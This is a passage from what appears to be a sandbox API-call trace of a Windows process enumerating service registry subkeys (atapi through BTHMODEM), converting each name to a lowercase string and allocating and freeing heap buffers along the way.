(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.936] RegEnumKeyW (in: hKey=0x140, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.936] RegEnumKeyW (in: hKey=0x140, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0177.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.936] RegEnumKeyW (in: hKey=0x140, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.937] RegEnumKeyW (in: hKey=0x140, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.937] RegEnumKeyW (in: hKey=0x140, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.937] RegEnumKeyW (in: hKey=0x140, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0177.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.938] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.938] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.938] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.938] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0177.938] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.939] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.939] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.939] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0177.939] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.939] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.940] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.940] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.940] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.940] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.940] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.940] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.941] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.941] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.941] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0177.941] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.941] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.941] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.942] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d18, 